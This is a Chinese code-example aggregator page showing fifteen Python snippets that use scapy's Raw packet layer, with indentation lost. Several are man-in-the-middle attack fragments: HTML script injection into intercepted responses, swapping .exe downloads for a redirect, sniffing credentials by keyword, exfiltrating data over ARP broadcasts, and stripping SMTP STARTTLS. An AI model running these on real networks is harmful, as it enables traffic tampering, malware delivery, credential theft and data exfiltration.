本文整理汇总了Python中scapy.all.Raw方法的典型用法代码示例。如果您正苦于以下问题:Python all.Raw方法的具体用法?Python all.Raw怎么用?Python all.Raw使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类scapy.all
的用法示例。
在下文中一共展示了all.Raw方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: rawhandle
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def rawhandle(pkt):
if sniff_pkts:
scapy.wrpcap(random_filename+"arpy.pcap",pkt)
counter = 0
while counter < 1:
counter += 1
layer = pkt.getlayer(counter)
if layer.haslayer(scapy.Raw) and layer.haslayer(scapy.IP):
print(bcolours.OKBLUE + '\n[Info] Found the following (' + layer.name + ' layer): ' + layer.src + " -> " + layer.dst + bcolours.ENDC)
tcpdata = layer.getlayer(scapy.Raw).load
if not opts.verbose:
print tcpdata
else:
print layer.show()
else:
break
示例2: inject_code
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def inject_code(packet):
http_packet = scapy.IP(packet.get_payload())
if http_packet.haslayer(scapy.Raw):
load = http_packet[scapy.Raw].load
if http_packet[scapy.TCP].dport == 10000:
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
load = load.replace("HTTP/1.1", "HTTP/1.0")
elif http_packet[scapy.TCP].sport == 10000:
injection_code = """<script>alert('Hello from devopslife.xyz');
</script>"""
load = load.replace("</body>", injection_code + "</body>")
length_search = re.search("(?:Content-Length:\s)(\d*)", load)
if length_search and "text/html" in load:
length = length_search.group(1)
new_length = int(length) + len(injection_code)
load = load.replace(length, str(new_length))
if load != http_packet[scapy.Raw].load:
new_packet = change_payload(http_packet, load)
packet.set_payload(str(new_packet))
packet.accept()
示例3: replace_file
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def replace_file(packet):
options = get_arguments()
parsed_url = urlparse(options.url)
http_packet = scapy.IP(packet.get_payload())
if http_packet.haslayer(scapy.Raw):
if http_packet[scapy.TCP].dport == 10000:
if ".exe" in http_packet[scapy.Raw].load and \
parsed_url.netloc not in http_packet[scapy.Raw].load:
print("[+] exe requested")
ack_list.append(http_packet[scapy.TCP].ack)
elif http_packet[scapy.TCP].sport == 10000:
if http_packet[scapy.TCP].seq in ack_list:
ack_list.remove(http_packet[scapy.TCP].seq)
print("Replacing file")
hacked_packet = change_payload(http_packet, options.url)
packet.set_payload(str(hacked_packet))
packet.accept()
示例4: pkt_callback
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def pkt_callback(self, pkt):
"""
Process Traceroute packets
"""
if pkt[IP].id >= 200 and pkt[IP].id < 300:
self.pktlen = pkt[IP].id - 200
elif pkt[IP].id >= 300 and pkt[IP].id < 400:
self.pkttotal = pkt[IP].id - 300
elif pkt[IP].id >= 500 and pkt[IP].id < 600:
self.dic[pkt[IP].id - 500] = pkt[Raw].load[28:]
elif pkt[IP].id == 666:
if DEBUG:
print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime())
+ 'TRACE:' + pkt[IP].src + ':ALARM Case Open!')
if len(self.dic) == self.pkttotal:
odic = collections.OrderedDict(sorted(self.dic.items()))
final = ''
for value in odic.iteritems():
final = final + value[1]
text = decrypt(final[:self.pktlen])
text = text.strip()
hexip = text.split(',')[-1]
text = text.replace(hexip, hextoip(hexip))
text = 'TRACE:' + pkt[IP].src + ':' + text
printer(self.filed, text)
self.dic = {}
self.pkttotal = 200
示例5: raw
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def raw(pa):
"""Raw data from a packet
"""
return pa.getlayer(Raw).load
示例6: launch_in_thread
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def launch_in_thread(action, capture_file=None):
"""Sniff in a new thread
When a packet is received, calls action
Returns a stop function
"""
logger.debug("Launching sniffer in thread...")
def _sniff(stop_event):
if capture_file:
sniff(
filter="tcp port 5555",
lfilter=lambda p: p.haslayer(Raw),
stop_event=stop_event,
prn=lambda p: on_receive(p, action),
offline=capture_file,
)
else:
sniff(
filter="tcp port 5555",
lfilter=lambda p: p.haslayer(Raw),
stop_event=stop_event,
prn=lambda p: on_receive(p, action),
)
logger.info("sniffing stopped")
e = threading.Event()
t = threading.Thread(target=_sniff, args=(e,))
t.start()
def stop():
e.set()
logger.debug("Started sniffer in new thread")
return stop
示例7: test_sslv2_de_serialize
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def test_sslv2_de_serialize(self):
pkt_serialized = str(tls.SSL(records=self.client_hello))
self.assertEqual(pkt_serialized, self.client_hello_serialized_expected)
pkt = tls.SSL(pkt_serialized)
self.assertTrue(pkt.haslayer(tls.SSL))
self.assertTrue(pkt.haslayer(tls.SSLv2Record))
self.assertTrue(pkt.haslayer(Raw))
self.assertEqual(pkt[tls.SSLv2Record].length, 1234)
self.assertEqual(pkt[tls.SSLv2ClientHello].challenge, "12345")
self.assertEqual(pkt[Raw].load, "TEST")
示例8: change_payload
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def change_payload(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
示例9: get_credentials
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def get_credentials(packet):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = ["login", "password", "username", "user", "pass"]
for keyword in keywords:
if keyword in load:
return load
示例10: change_payload
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def change_payload(packet, url):
packet[scapy.Raw].load = """HTTP/1.1 301 Moved Permanently
Location: {}\n""".format(url)
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
示例11: process_packet
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def process_packet(packet):
if Raw in packet:
if proj_id in packet[Raw].load and 'payload' in packet[Raw].load:
print str(packet[Raw].load).split('payload')[1][3:-3]
示例12: set_attribute
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def set_attribute(self, class_id, instance, attr, value):
"""Set the value of attribute class/instance/attr"""
path = CIP_Path.make(class_id=class_id, instance_id=instance)
# User CIP service 4: Set_Attribute_List
cippkt = CIP(service=4, path=path) / scapy_all.Raw(load=struct.pack('<HH', 1, attr) + value)
self.send_rr_cm_cip(cippkt)
if self.sock is None:
return
resppkt = self.recv_enippkt()
cippkt = resppkt[CIP]
if cippkt.status[0].status != 0:
logger.error("CIP set attribute error: %r", cippkt.status[0])
return False
return True
示例13: broadcast_message
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def broadcast_message(message, key=PYEXFIL_DEFAULT_PASSWORD):
"""
Send a message over ARP Broadcast
:param message: Message to send as str.
:param key: The parameter to use as key.
:return None:
"""
msg = AESEncryptOFB(key=key, text=message)
n_frame = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst="192.168.1.254") / Raw(load=msg)
sendp(n_frame, verbose=False)
示例14: process
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def process(self, pkt):
if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)):
logger.debug(pkt.sprintf('%IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %Raw.load%'))
try:
load = pkt.load.decode('utf-8')
except UnicodeDecodeError:
return
m = re.search(self.flagpattern, load)
if m:
self.flag = m.group(0)
self.sniffer.stop()
示例15: corrupttls
# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import Raw [as 别名]
def corrupttls(pkt):
"""corrupttls looks for an SMTP client packet with `STARTTLS` and replaces it with `STARTFOO`"""
if all(layer in pkt for layer in (scapy.IP, scapy.TCP, scapy.Raw)):
if pkt[scapy.TCP].dport == 25 and b'STARTTLS' in pkt[scapy.Raw].load:
pkt.load = pkt[scapy.Raw].load.replace(b'STARTTLS', b'STARTFOO')
return pkt